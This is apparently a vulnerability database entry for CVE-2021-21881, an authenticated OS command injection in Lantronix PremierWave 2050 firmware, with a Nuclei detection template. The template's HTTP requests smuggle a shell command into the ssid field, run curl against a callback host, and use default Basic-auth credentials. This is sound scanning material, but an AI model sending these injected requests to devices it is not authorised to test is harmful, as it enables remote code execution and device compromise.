SecurityContext

CVE-2021-21881: Lantronix PremierWave 2050 8.9.0.0R4 - Remote Command Injection

Classification

  • Cwe: CWE-78
  • Cvss score: 9.9
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
  • Epss score: 0.36935
  • Epss percentile: 0.98548
  • Cpe: cpe:2.3:o:lantronix:premierwave_2050_firmware:8.9.0.0:r4:*:*:*:*:*:*

Metadata

  • Max-request: 2
  • Product: premierwave_2050_firmware
  • Vendor: lantronix

Products

ProductIndexedUrl
lantronix:premierwave_2050_firmwareyes/v1/products/lantronix/premierwave_2050_firmware

Labels

  • Name: Lantronix PremierWave - OS Command Injection
  • Impact: Authenticated attackers can execute arbitrary OS commands, potentially leading to system compromise or data breach.
  • Remediation: Update to the latest firmware version provided by Lantronix or contact vendor for security patches.
  • Vulnerability type: command_injection
  • Vulnerability impact: remote_code_execution
  • Requirement type: logged_in
  • Requirements: Attacker needs to be authenticated
  • Labels source: projectdiscovery
  • From cve: CVE-2021-21881

```yaml

id: CVE-2021-21881

info:

name: Lantronix PremierWave 2050 8.9.0.0R4 - Remote Command Injection

author: gy741

severity: critical

description: Lantronix PremierWave 2050 8.9.0.0R4 contains an OS command injection vulnerability. A specially-crafted HTTP request can lead to command in the Web Manager Wireless Network Scanner. An attacker can make an authenticated HTTP request to trigger this vulnerability.

impact: |

Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, or complete compromise of the affected device.

remediation: |

Apply the latest firmware update provided by Lantronix to mitigate the vulnerability.

reference:

- https://talosintelligence.com/vulnerability_reports/TALOS-2021-1325

- https://nvd.nist.gov/vuln/detail/CVE-2021-21881

- https://github.com/ARPSyndicate/cvemon

- https://github.com/ARPSyndicate/kenzer-templates

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

cvss-score: 9.9

cve-id: CVE-2021-21881

cwe-id: CWE-78

epss-score: 0.36935

epss-percentile: 0.98548

cpe: cpe:2.3:o:lantronix:premierwave_2050_firmware:8.9.0.0:r4:*:*:*:*:*:*

metadata:

max-request: 2

vendor: lantronix

product: premierwave_2050_firmware

tags: cve2021,cve,lantronix,rce,oast,cisco,vkev,vuln

variables:

useragent: '{{rand_base(6)}}'

http:

- raw:

- |

POST / HTTP/1.1

Host: {{Hostname}}

Authorization: Basic dXNlcjp1c2Vy

Content-Type: application/x-www-form-urlencoded

ajax=WLANScanSSID&iehack=&Scan=Scan&netnumber=1&2=link&3=3&ssid="'; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}' #

- |

POST / HTTP/1.1

Host: {{Hostname}}

Authorization: Basic YWRtaW46UEFTUw==

Content-Type: application/x-www-form-urlencoded

ajax=WLANScanSSID&iehack=&Scan=Scan&netnumber=1&2=link&3=3&ssid="'; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'

stop-at-first-match: true

matchers-condition: and

matchers:

- type: word

part: interactsh_protocol # Confirms the HTTP Interaction

words:

- "http"

- type: word

part: interactsh_request

words:

- "User-Agent: {{useragent}}"

digest: 4a0a00473045022100cd9bafc836f8f5db3df25118240c55ac50aa7be16e4d68c8d173b55f66948acc02203e73ca6f1747eecd4223b0423c3bdd1e235df436aa2f6a1168f60112f603ccf0:922c64590222798bb761d5b6d8e72950

```